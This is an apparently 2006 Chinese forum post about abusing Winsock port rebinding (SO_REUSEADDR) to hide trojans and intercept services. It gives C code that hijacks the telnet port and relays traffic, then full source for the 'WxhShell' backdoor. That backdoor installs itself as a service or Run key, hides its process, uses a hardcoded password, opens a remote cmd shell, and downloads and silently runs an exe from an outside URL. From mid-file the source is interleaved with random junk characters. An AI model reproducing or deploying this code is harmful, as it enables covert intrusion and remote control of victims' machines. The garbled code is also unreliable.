[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; lke~>0;
if(chr[0]==0xd || chr[0]==0xa) { >GznG[Ku
pwd=0; +:,`sdv6o
break; rFq@]t3q
} _MdZDhtm
i++; W>0"CUp
} =`1m-
-N7xO)
// 如果是非法用户，关闭 socket k?HrD"k"
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }PFt
} &=-e`=qJ'6
t*a*v;iz
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t{X?PF\>o
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .'S^&M/$
Aa`MK$29F
while(1) { ^'7C0ps+A
\+{t4Im
ZeroMemory(cmd,KEY_BUFF); r9] rN
N2tkCkl^x9
// 自动支持客户端 telnet标准 Y%/ YFO2vb
j=0; MV<!<Qmj
while(j<KEY_BUFF) { !2Y!jz
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?]W~ qgA
cmd[j]=chr[0]; Xn/ n|[
if(chr[0]==0xa || chr[0]==0xd) { `.>k)=F&
cmd[j]=0; L%WME8PB
break; 7V}]C>G
} 8Z dUPW\e
j++; NT@YLhs?
} %'"HGZn b
2gwZb/'i
// 下载文件 B`*f(
if(strstr(cmd,"http://")) { GOf`Z'\xt
send(wsh,msg_ws_down,strlen(msg_ws_down),0); {Vxc6,=
if(DownloadFile(cmd,wsh)) &"[)s[m+t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ak6MPuBB-
else +mc[S
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DikdC5>O>m
} TX23D)CX
else { ={`CHCI
`S\zqF<
switch(cmd[0]) { .kc"E
I7fb}j`/
// 帮助 $Ns,ts(ng
case '?': { rBD(2M
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2$ |]Vj*Zs
break; X&(<G
} N-2([v
// 安装 FjZc#\^9
case 'i': { E.J0fwyT
if(Install()) `ke3+%uj o
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9c6czirwR^
else skIiJ'db
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bo@,4xw
break; ~+N76BX
} *;hY.EuoFz
// 卸载 (*6m^
case 'r': { p^1zIC>F
if(Uninstall()) PS=e\(6QC
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #wenX$UTh3
else UvxSMD:A
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qKdS7SoS
break; N0Efw$u
} 2W^B{ZS;
// 显示 wxhshell 所在路径 HDmx@E.@
case 'p': { M18qa,fK{
char svExeFile[MAX_PATH]; +Edzjf~Tt
strcpy(svExeFile,"\n\r"); /gz:zThf{
strcat(svExeFile,ExeFile); #?{qlgv<p
send(wsh,svExeFile,strlen(svExeFile),0); MA\m[h]
break; j8GY`f#
} E6Q]A~
// 重启 A8pj~I/*-
case 'b': { T[;;9z
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1 -ZJT
if(Boot(REBOOT)) i;o}o*=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); I^~=,D
else { l|YT[LR7
closesocket(wsh); $. %L
ExitThread(0); .,3Zj /
} ^rv"o:lF
break; z %x7fe
} )K~w'TUr
// 关机 .'|mY$U~]
case 'd': { |3}5:k
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g(/{.%\k
if(Boot(SHUTDOWN)) Hjs}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;%' b;+
else { AZwl fdLB
closesocket(wsh); @}<"N
ExitThread(0); Q%ruQ#
} QR<`pmB~y
break; *AZ?~ i^o
} =/FF1jQ
// 获取shell y 'OlQ2U
case 's': { ddsUz1%l
CmdShell(wsh); k$h [8l(<
closesocket(wsh); LVnHt}
ExitThread(0); H@{Objh1
break; bpCNho$
} #(C/Cx54
// 退出 ;UYc
case 'x': { `} =yG_!A
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g\Wj+el}
CloseIt(wsh); 9tn;L"#&N
break; #G_F`&
} Sw)i1S9
// 离开 F|9+ +)
case 'q': { Bv$UFTz
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;7Y[c}V1^
closesocket(wsh); ) Qq'Wp3i
WSACleanup(); W>B^S
exit(1); 2i\Q@h
break; 17}$=#SX
} V/PAi.GZ
} =SAV|
} dpwD8Q< U
!@G)$g=<
// 提示信息 '-vE%U@<
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #'@ilk/.
} P z ?m>>#
} 38~PWKt
lWWP03er!
return; V8hO8
} I&Jt> O4
&D]p,
// shell模块句柄 m9$a"$c
int CmdShell(SOCKET sock) )6{< i5nJ\
{ H}Ucrv:
STARTUPINFO si; H;NbQ
ZeroMemory(&si,sizeof(si)); q-nER<
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $X\va?(
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ["y6b*;x
PROCESS_INFORMATION ProcessInfo; 9#7J:PfZ<
char cmdline[]="cmd"; zB*euHIqZ
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L@RIZu>ZW+
return 0; hN
} -v]Qhf&>
)%mg(O8uL
// 自身启动模式 s)zJT
int StartFromService(void) }`xdWY
{ dAc ?O-~
typedef struct OfTfNhpK
{ 5RF4]$zT
DWORD ExitStatus; 0,_b)
DWORD PebBaseAddress; ;o0#(xVz
DWORD AffinityMask; }7ehF6
DWORD BasePriority; zI^]esX!2_
ULONG UniqueProcessId; kA4@`YCl
ULONG InheritedFromUniqueProcessId; [dB$U}SEj
} PROCESS_BASIC_INFORMATION; X32C}4-B
c 6"Ib)
PROCNTQSIP NtQueryInformationProcess; ;au*V5a%
,zhJY ?sk
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2N5`'
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v4rW2F:X
:^i^0dC
HANDLE hProcess; p[9s<lEh
PROCESS_BASIC_INFORMATION pbi; |mhKIis U
eQUe >*
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +5!&E7bcd
if(NULL == hInst ) return 0; m^V5*JIh
, sjh^-;
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3BdX
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =dZHYO^Cv
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D3D}DaEYj
=wVJ%
if (!NtQueryInformationProcess) return 0; &xXEnV
*nC(-(r:J`
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tGjhHp8}c
if(!hProcess) return 0; D+JAK!W
h!gk s-0
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; WBr59@V
>Lft9e
CloseHandle(hProcess); 8`=v.
s@8w-]"
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -TO\'^][X
if(hProcess==NULL) return 0; t~``md4
3Fs5RC~a
HMODULE hMod; MSw$_d
char procName[255]; -C-yQ.>\T#
unsigned long cbNeeded; M f~}/h
7f3O
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6gH{R$7L=
cl@g
CloseHandle(hProcess); k^\pU\J
k&/OU:7Y
if(strstr(procName,"services")) return 1; // 以服务启动 =Yz'D|=t
K/L;8a
return 0; // 注册表启动 t `kui.
} g%nl!dgS
$pyOn2}
// 主模块 [P~hjmJ(y
int StartWxhshell(LPSTR lpCmdLine) OsqNB'X
{ eJ0?=u!x
SOCKET wsl; &V7M}@
BOOL val=TRUE; k(t}^50^j
int port=0; iK5_u2]Q
struct sockaddr_in door; 9QQyl\
?t](a:IX
if(wscfg.ws_autoins) Install(); x3 >
nKoiG*PI
port=atoi(lpCmdLine); |~!U4D\
t]aea*B
if(port<=0) port=wscfg.ws_port; qIIJ4n
0@I S
WSADATA data; 83%)/_&
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3"N)xO-
{vEOn-(7
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; En{`@JsM
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); UCWV2Mu
door.sin_family = AF_INET; F+m }#p
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ep9W-n?}
door.sin_port = htons(port); "]K>j'^Zs<
MN^Aw9U
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `d7n?|pD
closesocket(wsl); z2_6??tS/c
return 1; $5x ,6[&
} eI45PMP
'2^7-3_1
if(listen(wsl,2) == INVALID_SOCKET) { >P6BW
closesocket(wsl); 7%f&M>/
return 1; 0k)rc$eDF+
} Q7Iw[=;\
Wxhshell(wsl); yAL[[
WSACleanup(); GZI`jS"lU
'k;rH!R
return 0; wX >*H
#$1Z
} k:jSbbQ
4}+/F}TbJ5
// 以NT服务方式启动 Od f[*
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7xRl9
{ &xRo^iV?
DWORD status = 0; v~QHMg
DWORD specificError = 0xfffffff; Xtt?]
wO?{?+I`q
serviceStatus.dwServiceType = SERVICE_WIN32; "&/-N[is
serviceStatus.dwCurrentState = SERVICE_START_PENDING; )nL`H^
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; svxw^0~a
serviceStatus.dwWin32ExitCode = 0; 8NyJc"T<.
serviceStatus.dwServiceSpecificExitCode = 0; [ ol9|sdu
serviceStatus.dwCheckPoint = 0; T,aW8|
serviceStatus.dwWaitHint = 0; _SW3_8SuM.
nt*Hc1I
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R2Zgx\VV'
if (hServiceStatusHandle==0) return; MxT-1&XL
S<'[%ihx
status = GetLastError(); F~h7{@\
if (status!=NO_ERROR) .o) `m9/
{ C74a(Bk}H
serviceStatus.dwCurrentState = SERVICE_STOPPED; yw];P o,
serviceStatus.dwCheckPoint = 0; }zhGS!fO
serviceStatus.dwWaitHint = 0; wgCa58H76
serviceStatus.dwWin32ExitCode = status; Z#rB}
serviceStatus.dwServiceSpecificExitCode = specificError; *G* k6.9W!
SetServiceStatus(hServiceStatusHandle, &serviceStatus); !1e6Ss
return; d3=KTTi\
} :Nofp&
phM>.y_
serviceStatus.dwCurrentState = SERVICE_RUNNING; |*}4 m'c
serviceStatus.dwCheckPoint = 0; BD(Z5+EU1
serviceStatus.dwWaitHint = 0; L4!{h|
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B95B|tU>.
} /!c${W!sY
,^uEYT}j
// 处理NT服务事件，比如：启动、停止 RzWXKBI\E]
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~ 4kc/a
{ On?p 9^9
switch(fdwControl) rqY`8Ry2M
{ I:mr}mv=i
case SERVICE_CONTROL_STOP: C.FI~Z
serviceStatus.dwWin32ExitCode = 0; ."9];)2rx
serviceStatus.dwCurrentState = SERVICE_STOPPED; Oil?JI Hq
serviceStatus.dwCheckPoint = 0; euC&0Ee2
serviceStatus.dwWaitHint = 0; Hv2De0W
{ uD^cxD
SetServiceStatus(hServiceStatusHandle, &serviceStatus); yU9DSY\m{
} Z<vKQ4G
return; {WYX~Mvvj
case SERVICE_CONTROL_PAUSE: ZpnxecJUJ
serviceStatus.dwCurrentState = SERVICE_PAUSED; Za1QC;7
break; r-Pkfy(
case SERVICE_CONTROL_CONTINUE: H'
serviceStatus.dwCurrentState = SERVICE_RUNNING; 3f,hw5R
break; ljb7oA3cP4
case SERVICE_CONTROL_INTERROGATE: [PDNwh0g5
break; Q\ 0cvmU
}; p>4-s, W
SetServiceStatus(hServiceStatusHandle, &serviceStatus); dw*_(ys
} XCBL}pNkR
>Wv;R2|
// 标准应用程序主函数 A<??T[
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~^1{B\I
{ 7eAX*Kgt<_
ev*k*0
// 获取操作系统版本 Ru>MFG
OsIsNt=GetOsVer(); [k/@E+;
GetModuleFileName(NULL,ExeFile,MAX_PATH); )r jiY%F$
2+e}*&iQpp
// 从命令行安装 nCdR EXw
if(strpbrk(lpCmdLine,"iI")) Install(); V=o t-1,j7
h-`}L=
// 下载执行文件 njputEGX
if(wscfg.ws_downexe) { >&}%+r\
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) . QBF`Rz
WinExec(wscfg.ws_filenam,SW_HIDE); #T'{ n1AI
} ++`0rY%
=,6z4" )
